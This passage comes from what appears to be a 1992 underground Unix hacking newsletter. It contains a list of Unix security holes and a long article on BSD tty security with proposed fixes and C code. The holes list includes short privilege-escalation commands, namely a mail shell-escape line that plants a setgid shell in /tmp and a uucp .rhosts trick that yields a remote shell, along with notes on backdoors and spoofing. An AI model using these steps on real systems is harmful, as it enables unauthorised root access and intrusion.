presented here mabye unsuitable for readers under the influence of SS
|
||
control. However, this newsletter is too legit.
|
||
Next, the editorship has been changed to a compile-revision-revision-
|
||
release type format with one person doing each part (therefore in effect having
|
||
four editors). This is not a sole -I am gh0d and you are n0t- type digest.
|
||
The editorship is being shared.
|
||
Third, this is the fourth issue. These issues come out due to
|
||
member participation. So far we are doing great, 4 issues in 4 months. (well,
|
||
not as good as the original 1 issue per 2 week target but it isn't bad).
|
||
However, due to recent events, material has not flowed as clear as it should
|
||
and we need your thoughts/ideas/submissions more than ever. This is a special
|
||
TTY issue and more submissions for the next issue are needed. We hope to
|
||
put out another TTY/PTY issue in the next couple of issues ahead so we need
|
||
your tty/pty stuff!
|
||
|
||
Do not ship these issues to any one of your friends. Do not keep copies
|
||
online. Do not reveal the name of the project or any of its members. If
|
||
you do know of a potential member name him in here first by contacting one
|
||
of us.
|
||
-----------------------------------------------------------------------------
|
||
|
||
-Table of Comments for Issue 4-
|
||
|
||
1. Prelude/Comments
|
||
2. Table of Contents
|
||
3. Holes List 2 ....................................(hole2.lst)
|
||
4. TTY Comments ....................................(tty.comments)
|
||
5 TTY Partial Article .............................(tty.article)
|
||
6. blast.c .........................................4.cb.15.00
|
||
7. bugntrig.c ......................................4.cb.15.01
|
||
8. readtty.c .......................................4.cb.15.02
|
||
9. stufftty.c ......................................4.cb.15.03
|
||
10. tty-spy1: cover.c ...............................4.cb.15.04
|
||
11. tty-spy2: assorted ..............................4.cb.15.05
|
||
|
||
-----------------------------------------------------------------------------
|
||
==============================================================================
|
||
hole.list.2 hole.list.01 02/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
=========
|
||
GENERAL
|
||
=========
|
||
|
||
1. Do not allow usernames to contain any of the following characters ";~!`"
|
||
(or any shell meta-charaters). This allows setuid root programs that
|
||
popen to be spoofed.
|
||
|
||
2. Never allow a setuid to root program to send a mail message that the user
|
||
creates to either the Berkeley mailer or mailx. All a user has to do
|
||
to break root is to send a line such as:
|
||
|
||
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
|
||
|
||
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
|
||
escape to be executed if the line starts in column one of stdout while
|
||
entering the message text.
|
||
|
||
3. Most security holes in UNIX are related to incorrect setting of directory
|
||
and file permissions or race conditions in the kernel that allow setuid
|
||
programs to be exploited. All non-standard setuid programs should be
|
||
examined.
|
||
|
||
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
|
||
break security relatively easily. MIT's PROJECT ATHENA came up with
|
||
Kerberos to address these problems, networks are usually very insecure.
|
||
|
||
5. The mount command should not be executeable by ordinary users. A setuid
|
||
program on a mountable disk is NOT TO BE TRUSTED.
|
||
|
||
6. Systems that allow read-only mounting of foriegn disk are a security
|
||
hole. Setuid programs are normally honored. This allows a person who
|
||
has root access on a foriegn machine to break it on another.
|
||
|
||
7. Expreserve can be a huge hole (see the following)
|
||
|
||
/dev/fb
|
||
the frame buffer devices on at least suns are world
|
||
readable/writeable, which is at best annoying (when
|
||
someone runs something strange on you) and at worst
|
||
insecure (since someone can take a snapshot of your screen
|
||
via screenload or whatnot)
|
||
|
||
/dev/*st*, *mt*, etc (tape devices)
|
||
generally world readable/writeable, bad since others can
|
||
nuke your tapes, read your backups, etc.
|
||
|
||
chfn, chsh
|
||
used to create a root account
|
||
|
||
core
|
||
will system dump a setgid core image?
|
||
|
||
domain name system
|
||
a sysadmin running the soa for a domain somewhere can
|
||
create a bugs reverse address mapping table for one of his
|
||
hosts that causes its IP address to have the domain name
|
||
of a machine that my host has in its hosts.equiv file. if
|
||
i'm using the usual version of 'istrusted' (I think that's
|
||
the routine's name), the address lookup reveals the name
|
||
of the host to be one that my host trusts, and this other
|
||
sysadmin can rlogin into my machine or rsh or whatnot at
|
||
will.
|
||
|
||
fchown
|
||
test for bad group test
|
||
|
||
ftruncate
|
||
can be used to change major/minor numbers on devices
|
||
|
||
fingerd
|
||
hard .plan links - reading unreadable files readable by
|
||
user(fingerd)
|
||
|
||
setuid, .plan links
|
||
|
||
running as root
|
||
(fingerd_test.sh)
|
||
|
||
buffer overrun
|
||
|
||
file mod test.
|
||
test of file does not loose the setuid bit when modified
|
||
|
||
|
||
ftp
|
||
ftpd
|
||
static passwd struct overwrite
|
||
|
||
4.2 based bug, userid not reset properly, (after logging
|
||
in enter comment "user root" and you are, last seen
|
||
onder SunOS 3.3?).
|
||
|
||
overwrite stack somehow?
|
||
|
||
hosts.equiv
|
||
default + entry
|
||
|
||
istrusted routine - easy to spoof by bad SOA at remote
|
||
site with hacked reverse address map.
|
||
|
||
lock
|
||
4.1bsd version had the password "hasta la vista" as a
|
||
builtin trapdoor. (found in ultrix)
|
||
|
||
lost+found, fsck
|
||
lost+found should be mode 700, else others might see
|
||
private files.
|
||
|
||
lpd
|
||
its possible to ovberwrite files with root authority with
|
||
user level access locally or remotely if you have local
|
||
root access
|
||
|
||
lpr
|
||
lpr -r access testing problem
|
||
|
||
lprm
|
||
trusts utmp
|
||
|
||
passwd
|
||
fgets use allows long entries which will be mangled into
|
||
::0:0::: entries
|
||
|
||
also allows:
|
||
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
|
||
fred:...:...:...:Fred.....
|
||
Flintstone::/bin/sh
|
||
which is a root entry with no password!
|
||
|
||
fix - should skip to eol if it didn't read whole entry,
|
||
should enforce buffer limits on text in file, don't use
|
||
atoi (since atoi(/bin/sh) is 0).
|
||
|
||
portmap
|
||
allows other net entities to make bindings - may not be a
|
||
"security hole", can lead to denial of service.
|
||
|
||
rcp
|
||
nobody problem
|
||
|
||
rexd
|
||
existence
|
||
|
||
rwall,comsat
|
||
running as root, utmp world writeable, writes to files as
|
||
well as devices in utmp dev fields.
|
||
|
||
|
||
rdist - buffer overflow
|
||
|
||
selection_svc
|
||
allowed remote access to files
|
||
|
||
sendmail
|
||
debug option
|
||
|
||
wizard mode
|
||
|
||
TURN command
|
||
allows mail to be stolen
|
||
|
||
decode mail alias - anyone can send mail to decode, write
|
||
to any file onwed by daemon, if they can connect to
|
||
sendmail daemon, can write to any file owned by any user.
|
||
|
||
|
||
overflow input buffer
|
||
cause the sendmail deamon to lock up
|
||
|
||
overwrite files
|
||
sendmail can be "tricked" into delivering mail
|
||
into any file but those own my root.
|
||
|
||
-oQ (different Q)
|
||
fixed in newer versions
|
||
|
||
mqueue must not be mode 777!
|
||
|
||
what uid does |program run with?
|
||
|
||
sendmail -bt -C/usr/spool/mail/user - in old versions,
|
||
allows you to see all lines of the file.
|
||
|
||
setuid bit handling
|
||
setuid/setgid bit should be dropped if a file is modified
|
||
|
||
fix: kernel changes
|
||
|
||
setuid scripts
|
||
there are several problems with setuid scripts. is it
|
||
worth writing tests for these? some systems might have
|
||
fixed some of the holes - does anyone know how one fixes
|
||
these problems in a proactive fashion?
|
||
|
||
sh
|
||
IFS hole (used with vi, anything else?)
|
||
|
||
su
|
||
overwrite stack somehow?
|
||
|
||
tcp/ip
|
||
sequence number prediction makes host spoofing easier
|
||
|
||
source routing make host spoofing easier
|
||
|
||
rip allows one to capture traffic more easily
|
||
|
||
various icmp attacks possible
|
||
|
||
(I suspect a traceroute'd kernel will allow one to easily
|
||
dump packets onto the ethernet)
|
||
|
||
tftp
|
||
allows one to grab random files (eg, /etc/passwd).
|
||
fix - should do a chroot
|
||
|
||
allows puts as well as gets, no chroot
|
||
|
||
fix - don't run as root, use chroot, no puts, only if boot
|
||
server.
|
||
|
||
utmp
|
||
check to see if world writeable (if so, the data can't be
|
||
trusted, although some programs are written as though they
|
||
trust the data (comsat, rwalld)).
|
||
|
||
uucp
|
||
check if valid uucp accounts are in the /etc/ftpusers. If
|
||
the shell is uucico and passwd is valid make sure it is
|
||
listed in ftpusers.
|
||
|
||
check to see that uucp accounts have shell: if left off,
|
||
folks can do:
|
||
|
||
cat >x
|
||
myhost myname
|
||
^D
|
||
uucp x ~uucp/.rhosts
|
||
rsh myhost -l uucp sh -i
|
||
|
||
HDB nostrangers shell escape
|
||
|
||
HDB changing the owner of set uid/gid files
|
||
|
||
HDB meta escapes on the X command line
|
||
|
||
HDB ; breaks on the X line
|
||
|
||
uudecode
|
||
if it is setuid, some versions will create setuid files
|
||
|
||
|
||
ypbind
|
||
accepts ypset from anyone (can create own ypserv and data,
|
||
and ypset to it...)
|
||
|
||
ypserv spoofing
|
||
send lots of bogus replies to a request for root's passwd
|
||
entry, while doing something that would generate such a
|
||
request [I'm pretty sure that this is possible, but
|
||
haven't tried it.]
|
||
|
||
AIX
|
||
* password means use root's password?
|
||
|
||
AIX 2.2.1
|
||
shadow password file (/etc/security/passwd) world
|
||
writeable
|
||
|
||
fix - chmod 600...
|
||
|
||
386i login
|
||
fix - nuke logintool, hack on login with adb, chmod 2750
|
||
|
||
ultrix 3.0 login
|
||
login -P progname allows one to run random programs as root.
|
||
fix - chmod 2750.
|
||
|
||
xhost:
|
||
if access access control is disabled any one can connect to
|
||
a X display it is possible and create (forge) and/or
|
||
intercept keystrokes.
|
||
|
||
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
In the Crunch Act of 1992 the Supreme Court ruled that phones are against the
|
||
law. Use a phone. Go to jail. That's the law.
|
||
|
||
==============================================================================
|
||
tty.comments 4.ch.02.01 04/04/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
|
||
|
||
BSD tty security, part 1: The Berkeley Experience
|
||
|
||
Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu,
|
||
running one of the latest revisions of BSD 4.3-Reno, so that I could
|
||
test the system for tty bugs. (What a remarkable coincidence. :-) )
|
||
I have bad news, good news, and a quick summary of what Berkeley is
|
||
planning to do about tty security.
|
||
|
||
The bad news: The system allows any user to take over a session started
|
||
by script. Presumably this also applies to xterm, emacs, expect, et al.
|
||
``Take over'' means invisible writing, tty mode mangling, and TIOCSTI.
|
||
Modulo some races, it lets any user output any number of characters at
|
||
the beginning of another user's telnetd connection, and may allow more
|
||
access (I haven't tested this thoroughly). Furthermore, it lets any user
|
||
log any other user out, given preparation. There are several minor holes
|
||
which should not be serious problems and which I won't describe here.
|
||
|
||
The good news: BSD now has a revoke(filename) syscall which achieves
|
||
similar effects to the enforce() that has been proposed here before;
|
||
telnetd uses revoke() in a way that I believe guarantees the security of
|
||
the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum
|
||
says (and I agree) that proper flushing and a bit more paranoia will
|
||
completely shield login sessions from attack. Unfortunately, revoke() is
|
||
not usable by unprivileged programs like script, so for most purposes
|
||
ptys are as insecure as they were in BSD 4.2.
|
||
|
||
Last-minute good news: Marc has found the bug that allowed the logout
|
||
problem. He will fix it.
|
||
|
||
What BSD plans to do in the future about tty security: Apparently 4.4
|
||
will have ``bstreams'', roughly equivalent to the other stream systems
|
||
in the world. ptys will be re-implemented as bstreams, so they will
|
||
(finally!) be dynamically allocatable. Hopefully everyone at Berkeley
|
||
will agree that ptys do not belong in the filesystem; the ones who know
|
||
this are working to convince those who aren't sure, or so I hear.
|
||
|
||
Given this radical reorganization, it appears that BSD 4.4 ttys will be
|
||
secure. If this is true, I withdraw my previous threat. (But see part 4
|
||
for further comments.)
|
||
|
||
In the meantime (i.e., until someone gets up the courage to implement
|
||
bstreams) I have outlined to Marc a reasonably simple plan for making
|
||
ttys completely secure without radically changing the kernel or system
|
||
applications. I hope he sees that the plan involves at most a couple of
|
||
hours of work, so that with luck secure ttys will make it into the next
|
||
interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and
|
||
popular systems derived from them, I have included it here as part 3.
|
||
|
||
BSD tty security, part 2: The POSIX Perspective
|
||
|
||
[Warning: By the end of part 1 you may have thought I was in a good
|
||
mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness,
|
||
charm, and light in part 3.]
|
||
|
||
One of the security holes mentioned in part 1 (any user being able to
|
||
log any other user out) was a deeply buried bug in Berkeley's
|
||
implementation of a new POSIX requirement. This is a good example of how
|
||
additional security channels (viz., POSIX sessions) make the system much
|
||
more fragile. One of the virtues of the original UNIX system was that
|
||
all security went through a single channel, namely the uid. Why can't we
|
||
stick to this model?
|
||
|
||
Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex
|
||
UNIX 9.0 are completely insecure: any user can take complete control of
|
||
any other user's session, with no privileges, no warning, no visible
|
||
effect if the attacker is careful, and no logs after the fact.
|
||
|
||
I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped
|
||
tty security in the latest BSD 4.3. He pointed to revoke(), but revoke()
|
||
only helps security because it is applied at the *beginning* of a
|
||
session, and this is not required or even hinted at by POSIX. He
|
||
couldn't find another answer. I can still take full control of any
|
||
session begun by script or screen or emacs or expect.
|
||
|
||
As those of you involved with POSIX know, any process can send SIGCONT
|
||
to any other process in the same session, dodging all the restrictions
|
||
of normal security and job control. Believe it or not, SIGSTOP and
|
||
SIGCONT used to be a valuable synchronization technique, even for
|
||
privileged applications. Now they're useless. This can only be regarded
|
||
as a security hole.
|
||
|
||
Is it unreasonable to conclude that POSIX sessions do not help security?
|
||
That, in fact, they hurt security, by forcing changes upon a quite
|
||
fragile piece of the system?
|
||
|
||
It gets worse. In comp.unix.* we've seen repeated complaints that POSIX
|
||
breaks popular applications. No, I'm not even talking about pty. I'm
|
||
talking about screen, and expect, and emacs. These programs want to
|
||
control children running under a different terminal, but POSIX simply
|
||
doesn't acknowledge that people *want* cross-session job control. It
|
||
invented ``orphaned process groups''---yet another ``standard'' which
|
||
has never shown benefits and which breaks applications left and right.
|
||
|
||
Is it unreasonable to conclude that POSIX sessions are a problem?
|
||
|
||
I keep asking people what POSIX sessions do for users, or programmers,
|
||
or administrators, or system implementors. Nobody comes up with an
|
||
answer. ``They were meant to make job control secure,'' people say. So
|
||
why tf are they required even on systems not supporting the job control
|
||
option?
|
||
|
||
After all this I'm not even going to say POSIX sessions should be
|
||
abolished. All I want is for them to be made optional, like job control.
|
||
It really wouldn't be difficult---just change a couple of definitions
|
||
and put the equivalent of #ifdef SESSION around the dozens of additional
|
||
rules invented for POSIX sessions. Is this such a price to pay for
|
||
backward compatibility, extra security, and the chance to make POSIX
|
||
improve over the years as people figure out simpler job control models?
|
||
And doesn't it make sense that inventions in a standard should be
|
||
optional to begin with?
|
||
|
||
Let me close these comments with a personal remark: The next time I
|
||
report tty security holes to a vendor, if I hear ``We've fixed that,
|
||
we support POSIX,'' I'm probably going to do something violent. Maybe
|
||
it'll just be a symbolic burning of the latest POSIX 1003.1 in the
|
||
middle of Central Park, but I know it's gonna be violent. :-)
|
||
|
||
BSD tty security, part 3: How to Fix It
|
||
|
||
Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some
|
||
strong guarantees that pty and tty sessions are safe and not subject to
|
||
corruption or denial of service, with minimal changes to the kernel and
|
||
to application programs. This is also meant to apply to systems derived
|
||
from BSD, such as SunOS, Ultrix, etc.
|
||
|
||
I've included quite a bit of sample code here, as well as evaluations of
|
||
what effect these changes will have on users and old programs. Thanks in
|
||
particular to Marc Teitelbaum for his extensive comments. The second
|
||
half of the article includes a bunch of optional recommendations that
|
||
may make your life easier but are not necessary for security.
|
||
|
||
Quick summary of kernel changes required: Make /dev/tty ioctls work on
|
||
/dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add
|
||
an ioctl, TIOCOPENCT, which returns the number of active references to a
|
||
given inode. That's it.
|
||
|
||
Quick summary of application changes required: Have certain programs do
|
||
an extra open() of the slave side to fd 3, move two device drivers, add
|
||
about fifteen lines of code (forty with complete error checks) to those
|
||
programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible,
|
||
change chmod()s in those programs so that /dev/[pt]ty* remain
|
||
world-inaccessible, and make various programs setuid or setgid. That's
|
||
it.
|
||
|
||
1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only
|
||
such ioctl is TIOCNOTTY, this is not necessary unless you want to
|
||
preserve the programmer's interface to detachment (which is probably
|
||
necessary). This may take some work. This step is safe, in that it will
|
||
not break working code.
|
||
|
||
2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not
|
||
difficult in principle. On systems with /dev/fd/3, all you have to do is
|
||
ln /dev/fd/3 /dev/stdtty. This step is safe.
|
||
|
||
3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably*
|
||
sets x to the number of references to the *file* (not open file: I mean
|
||
file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1
|
||
if fd is not a disk file. Here ``reference'' means open file (i.e., the
|
||
thing in the file table). Under NFS I believe it is sufficient to report
|
||
v->v_count of the vnode. ``Reliably'' means that no matter what is going
|
||
on---swapped processes, locks of all sorts on the inode, file descriptor
|
||
passing, opening and closing---the returned information will be
|
||
absolutely correct starting from when ioctl() finishes and continuing as
|
||
long as no process opens or closes the file in question. This step is
|
||
safe.
|
||
|
||
4. Make sure that each of the tty-handling programs---getty, telnetd,
|
||
rlogind, script, etc.---opens /dev/ttyxx again in the master process and
|
||
leaves it open for use in #9 below. ``Master process'' means the process
|
||
in charge of the master side of the pty---telnetd, for instance. This is
|
||
easy:
|
||
|
||
int fdttyagain; /* global variable */
|
||
...
|
||
/* in the parent right after fork */
|
||
fdttyagain = open(line,O_RDWR);
|
||
if (fdttyagain == -1)
|
||
syslog(LOG_CRIT,"cannot open %s again: %m",line);
|
||
/* or whatever your favorite error reporting method is */
|
||
|
||
This step is safe.
|
||
|
||
5. Make a new uid, pty. Make each of the non-root tty-handling programs
|
||
(that means script, as well as programs like atty, mtty, pty, etc. if
|
||
you have them installed) setuid pty, and make sure they reset uids
|
||
before executing anything. Do not make pty the same as root, unless your
|
||
system handles MAXUPRC by effective userid (ugh)---in that case you
|
||
can't safely run anything setuid to any user but root, and you should
|
||
complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.)
|
||
This step is safe, but will take some work if you have many non-root
|
||
tty-handling programs.
|
||
|
||
6. Change the root tty-handling programs (e.g., telnetd) so that they
|
||
reset ttys to owner pty mode 600 rather than owner root mode 666. This
|
||
step will break any user programs that allocate ttys dynamically and
|
||
that you didn't take care of in #5. It is safe otherwise.
|
||
|
||
7. Have each of the tty-handling programs---getty, telnetd, rlogind,
|
||
script, etc.---open file descriptor 3 to the tty. This is trivial:
|
||
|
||
{ /* after closing other descriptors, right before exec'ing the slave */
|
||
int fdtty;
|
||
fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */
|
||
if (fdtty == -1)
|
||
; /* XXX: complain to the user, or exit */
|
||
else if (fdtty != 3)
|
||
{
|
||
if (dup2(fdtty,3) == -1)
|
||
; /* XXX: complain to the user, or exit */
|
||
close(fdtty);
|
||
}
|
||
}
|
||
|
||
This step will break any old code that assumes the first open() will
|
||
return 3. (Such code is disgusting, but this is beside the point.)
|
||
|
||
8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty;
|
||
chmod 600 /dev/oldtty. This is the first change that will affect users
|
||
directly. However, if you have done steps 1, 2, and 7 correctly, nobody
|
||
will notice. Marc comments that any programs which redirect or close fd
|
||
3 will be affected if they later use /dev/tty; he couldn't think offhand
|
||
of any such programs except ksh, which isn't installed on most BSD
|
||
machines. If you do find further examples of such programs or scripts,
|
||
please post the fixes here. An alternative is to use fd 11 instead of
|
||
fd 3 throughout these changes; this won't help ksh, but I've never seen
|
||
a script use fd 11.
|
||
|
||
9. In each of the tty-handling programs, do the following upon slave
|
||
exit: (a) Clean up everything except (if it is convenient) [uw]tmp.
|
||
Close 0, 1, 2, and any other random descriptors lying around, except
|
||
/dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If
|
||
someone else still has it open, continue to step (c); otherwise skip to
|
||
step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx
|
||
(a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp
|
||
and exit. Note that steps (b) and (c) can fit into a simple library
|
||
routine. Here's sample code, with paranoid error checking:
|
||
|
||
/* after cleaning up mostly everything */
|
||
if (fdttyagain != -1)
|
||
{
|
||
/* Assumption: /dev/ttyxx is back to mode 600 owner pty. */
|
||
int count;
|
||
close(0); close(1); close(2);
|
||
... /* close any other descriptors previously opened */
|
||
/* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */
|
||
(void) ioctl(fdttyagain,TIOCEXCL,(char *) 0);
|
||
/* entirely optional, but better safe than racing */
|
||
/* if TIOCOPENCT is not completely reliable */
|
||
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
|
||
syslog(LOG_CRIT,"cannot count open references to %s: %m",line);
|
||
/* or whatever your favorite error reporting method is */
|
||
else
|
||
if (count > 1)
|
||
{
|
||
syslog(LOG_INFO,"waiting on %s",line);
|
||
switch(fork())
|
||
{
|
||
case -1:
|
||
syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line);
|
||
break;
|
||
case 0:
|
||
{
|
||
int i;
|
||
i = 0;
|
||
for (;;)
|
||
{
|
||
sleep(5);
|
||
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
|
||
syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line);
|
||
else
|
||
if (count == 1)
|
||
break;
|
||
++i;
|
||
if (!(i % 1000))
|
||
syslog(LOG_INFO,"waited %d secs on %s",i * 5,line);
|
||
/* XXX: If i gets large enough, you may want to take */
|
||
/* desperate measures at this point. Example: */
|
||
/* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */
|
||
/* vhangup(); write(fdpty,"x",1); vhangup(); */
|
||
/* read(fdpty,"y",1); vhangup(); */
|
||
/* And then break. */
|
||
}
|
||
}
|
||
syslog(LOG_INFO,"done waiting on %s",line);
|
||
break;
|
||
default:
|
||
exit(0);
|
||
}
|
||
}
|
||
/* now finish cleaning up everything, and exit */
|
||
}
|
||
|
||
It doesn't really matter where the above code comes inside a cleanup
|
||
routine, as long as the tty already has the right modes. I think it's
|
||
aesthetically better to leave the utmp entry alone until the tty is
|
||
deallocated; but if this isn't convenient for some program, feel free to
|
||
ignore aesthetics and put the code right before exit().
|
||
|
||
Marc notes that this change will leave a pseudo-tty allocated to a user
|
||
as long as the user has a background process on the tty. Religious types
|
||
will say ``yes, that's how it should be.'' I say that at sites I'm
|
||
familiar with, this isn't a problem, because users don't run very many
|
||
background jobs, and there are more than enough pseudo-ttys. If this is
|
||
a problem for you, you will have to do step #20 below and educate your
|
||
users to detach background jobs, meanwhile killing any runaways. Sorry,
|
||
but this is the price you pay for security. You may prefer the
|
||
``desperate measures'' mentioned in the sample code to simply cut off
|
||
tty access after a few hours; any use of vhangup() is chock-full of race
|
||
conditions, but it would be exceedingly difficult for a process to make
|
||
it past all the races.
|
||
|
||
10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step.
|
||
Nonprivileged programs will no longer be able to open any ttys or ptys,
|
||
so nobody can deny service to other users without executing a privileged
|
||
program that will later show up in acct. Furthermore, the TIOCOPENCT
|
||
code guarantees that if a tty-handling program exits, absolutely nobody
|
||
is using that tty, so it is safe for immediate use by the next
|
||
tty-handling program. This throws a huge wrench into all the fundamental
|
||
tty security holes I know.
|
||
|
||
11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these
|
||
changes will go to waste. You may find it convenient to make certain
|
||
programs setgid or setuid here so that they can still write utmp, though
|
||
I consider this a mistake---you are bound to slip up when a hundred
|
||
different tools all manage one supposedly secure file. (But anything is
|
||
better than what Sun currently ships.)
|
||
|
||
12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp
|
||
all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of
|
||
course, you don't need to do this if you already have the tty group.
|
||
|
||
It's possible to accomplish similar results with fewer changes. In fact,
|
||
my next version of pty will almost guarantee safety on stock BSD 4.2
|
||
systems with no kernel support except read access to /dev/kmem. (It is,
|
||
unfortunately, not possible to avoid race conditions from user code.)
|
||
You can, for example, place the burden of TIOCOPENCT checking upon the
|
||
program opening the tty, rather than the program closing it, so that
|
||
it's not a problem if one tty handler fails to do its job; but this
|
||
increases turnaround time for the users and allows denial-of-service
|
||
attacks. The above changes should be straightforward enough that halfway
|
||
solutions are not worthwhile.
|
||
|
||
(POSIX fans will note that using TIOCOPENCT to keep the tty allocated
|
||
past session leader exit *is* compliant: it only affects the secure BSD
|
||
exclusive lock on the master side, and does not prevent reassignment of
|
||
the slave tty to a new session---not that such a reassignment will ever
|
||
occur.)
|
||
|
||
Why must tty-handling programs be setuid rather than setgid? Because the
|
||
user must not be allowed to kill them---he would be able to retain tty
|
||
access that way.
|
||
|
||
There are many further changes you can make to eliminate minor security
|
||
holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY
|
||
OPTIONAL. Here are some of the most important:
|
||
|
||
13. Fix write. Many people don't appreciate how poor write's security
|
||
is; I quote from my pty paper's description of a write clone:
|
||
|
||
: Finally, write is a vastly improved clone. The old write had several big
|
||
: security holes: 1. Control characters were passed through. This version
|
||
: converts anything unprintable into a caret. 2. Lines were not
|
||
: distinctively marked. A user could manually simulate the ``EOT'' or
|
||
: ``EOF'' sequence, wait a few minutes, then start sending anything to the
|
||
: other tty without identification. This version precedes each line with
|
||
: the name of the sending user, and prints something more informative than
|
||
: EOT for an ended message. 3. write could be used to flood a terminal.
|
||
: (This is an accident waiting to happen.) This version puts a one-second
|
||
: pause between each line and restricts line length. 4. Originally, write
|
||
: would only check the protection on the tty being written to. But this
|
||
: meant that a user could be interrupted by someone hiding behind mesg n
|
||
: and have no recourse. (Footnote: Remember that UNIX has no enforce()
|
||
: call to enforce new permissions on an object. Setting mesg n does not
|
||
: stop a write in progress.) So many versions of write included
|
||
: ``revenge'': X was allowed to write to Y only if Y could write back.
|
||
: However, these versions tested tty protection only at the beginning of a
|
||
: message---which was useless. This version does the correct test: it
|
||
: simply checks write permission before sending each new line.
|
||
|
||
My write clone is public-domain, so I invite you---I beg you---to steal
|
||
code from it. Don't even give me any credit, just fix the bugs. Please.
|
||
|
||
14. Make script grok utmp and wtmp. (You may have to rethink certain
|
||
wtmp-based accounting schemes to do this.) Users constantly complain
|
||
that they can't ``talk'' within script, and the lack of accounting
|
||
is annoying. This doesn't matter under #18.
|
||
|
||
15. Change the chown() and fchown() system calls so that files can be
|
||
chowned between uid and euid. This opens up chown() for lots of secure
|
||
services without forcing the servers to run as root. In this case, it
|
||
lets script change the tty owner properly. This doesn't matter, though,
|
||
if you implement #16.
|
||
|
||
16. Don't even bother chowning ttys to the users who own them. (At this
|
||
point they might as well not be in the filesystem.) Yes, you can make
|
||
biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n.
|
||
|
||
17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off*
|
||
by default. Since UNIX has no way to enforce new access permissions on a
|
||
file, the usual default leaves all users open to instant attack. This is
|
||
a huge problem in the real world (at universities, at least), and while
|
||
there may be a sane argument for having messages on by default, it
|
||
cannot justify what amounts to unrestricted output to any and all ttys.
|
||
|
||
Finally, here are some optional changes that will make the above changes
|
||
much easier, or that will add basic features to your system. Do them
|
||
first and you'll never regret it.
|
||
|
||
18. Provide a program that spawns another program under a pseudo-tty,
|
||
handling I/O and job control transparently, and obeying all the rules
|
||
for tty handlers mentioned above. In fact, the program already exists by
|
||
the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its
|
||
author is quite willing to negotiate distribution terms. pty also
|
||
supports session management. (Isn't it embarrassing to explain UNIX to a
|
||
long-time VMS user? ``No, sorry, Bob, you can't get back to that shell
|
||
after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh,
|
||
yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob,
|
||
you can't start recording a `talk' session without hanging up and
|
||
talking again.'' ``No, Bob. This is not VMS. Your process is stuck to
|
||
that terminal, right there. Yes, I understand, the terminal screen just
|
||
exploded, and you can't see your output. No, you cannot move to the next
|
||
terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'')
|
||
|
||
19. Rewrite all other tty handlers (it's easy---trust me) to invoke that
|
||
single, modular program. Don't you find it strange that a dozen programs
|
||
all have the same pty allocation code? Don't you find it unreasonable,
|
||
at least from a ``software engineering'' standpoint, that since people
|
||
are too lazy to do (e.g.) random tty searching every time they recopy
|
||
the same code, your average tty handler wastes several dozen open()s on
|
||
a big machine when it could use just two? In fact, I'll be glad to do
|
||
all the work of conversion for you, provided that you agree to make the
|
||
final version available for people to use.
|
||
|
||
20. Provide a program that detaches from its controlling tty and spawns
|
||
another program. The program is usually called ``detach'' and has no
|
||
options of note. It should also seek out and reopen("/dev/null") any
|
||
file descriptors pointing to any tty.
|
||
|
||
21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel.
|
||
Also remove controlling ttys entirely. Also remove POSIX sessions if you
|
||
have them: make setsid() a no-op, and return an implementation-defined
|
||
error upon the pointless POSIX SIGCONT special case, and you even retain
|
||
POSIX compatibility if you had it. (Well, with one exception: POSIX
|
||
defines a foreground process in terms of its controlling terminal,
|
||
rather than the terminal it's trying to access as in BSD. Beg the POSIX
|
||
folks to make this rule optional---what do they lose?) Notice how much
|
||
extra space users get for running programs.
|
||
|
||
22. Make a stdio stream for stdtty, descriptor 3---after all, programs
|
||
do want to use it. Change csh and more to read from stdtty rather than
|
||
stderr. Someday you may even be able to open stderr write-only [gasp!].
|
||
|
||
23. Have accounting record the dev/inode pair on descriptor 3. In fact,
|
||
while you're making accounting work sensibly, record the pid, as well as
|
||
the dev/inode pair of the program run (if you can get that information).
|
||
|
||
24. Change getty to spawn the pty-handling program, and to disconnect
|
||
that session when it receives BREAK. Guess what? You've just set up a
